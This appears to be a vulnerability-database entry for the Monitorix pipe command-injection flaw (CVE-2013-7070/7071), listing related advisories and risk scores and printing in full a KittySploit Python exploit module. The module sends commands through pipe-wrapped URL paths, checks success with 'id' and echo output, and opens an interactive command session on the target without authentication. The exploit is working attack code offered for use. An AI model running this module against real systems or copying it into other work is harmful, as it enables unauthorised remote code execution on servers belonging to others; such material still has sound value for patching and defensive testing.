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Monitorix Pipe RCE (CVE-2013-7070)

🗓️ 04 Sep 2026 06:36:51Reported by KittySploitType 
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Unauthenticated RCE in Monitorix via command injection in pipe-wrapped URL paths.

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cve
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CVE-2013-7070
31 Dec 201919:57
–cve
cve
CVE
CVE-2013-7071
31 Dec 201919:57
–cve
cvelist
Cvelist
CVE-2013-7070
31 Dec 201919:57
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cvelist
Cvelist
CVE-2013-7071
31 Dec 201919:57
–cvelist
euvd
EUVD
EUVD-2013-6866
7 Oct 202500:30
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euvd
EUVD
EUVD-2013-6867
7 Oct 202500:30
–euvd
fedora
Fedora
[SECURITY] Fedora 19 Update: monitorix-3.4.0-1.fc19
13 Dec 201305:01
–fedora
fedora
Fedora
[SECURITY] Fedora 20 Update: monitorix-3.4.0-1.fc20
14 Dec 201302:50
–fedora
nessus
Tenable Nessus
Fedora 20 : monitorix-3.4.0-1.fc20 (2013-22649)
14 Dec 201300:00
–nessus
nessus
Tenable Nessus
Fedora 19 : monitorix-3.4.0-1.fc19 (2013-22677)
13 Dec 201300:00
–nessus
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Monitorix pipe path command injection RCE (CVE-2013-7070) — execute session."""

from __future__ import annotations

import re
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Monitorix Pipe RCE (CVE-2013-7070)',
        'description': (
            'Exploits CVE-2013-7070/7071 by injecting commands into pipe-wrapped '
            'Monitorix URL paths. Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2013-7070', 'CVE-2013-7071'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2013-7070',
        ],
        'tags': ['monitorix', 'rce', 'cmdi', 'unauth', 'cve-2013-7070'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'pipe path injection'},
                    {'capability': 'shell', 'from_detail': 'execute session'},
                ],
                'suggested_followups': ['scanner/http/cve_2013_7070_detect'],
            },
        },
    }

    base_path = OptString('/monitorix', 'Monitorix base path', False, advanced=True)

    def _bases(self) -> list[str]:
        base = str(self.base_path or '').strip().rstrip('/')
        if base:
            return [base]
        return ['/monitorix', '']

    def execute(self, cmd: str) -> str:
        inj = quote(str(cmd), safe='')
        bases = [getattr(self, '_hit_base', None)] if getattr(self, '_hit_base', None) is not None else self._bases()
        for base in bases:
            if base is None:
                continue
            prefix = base if base else ''
            path = f'{prefix}/|{inj}|'
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            if r:
                self._hit_base = base
                return r.text or ''
        return ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2013-7070 confirmed via id output',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'Monitorix pipe path did not return command output',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()

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04 Sep 2026 06:36Current
7.3High risk
Vulners AI Score7.3
CVSS 3.19.8
CVSS 210
EPSS0.0409
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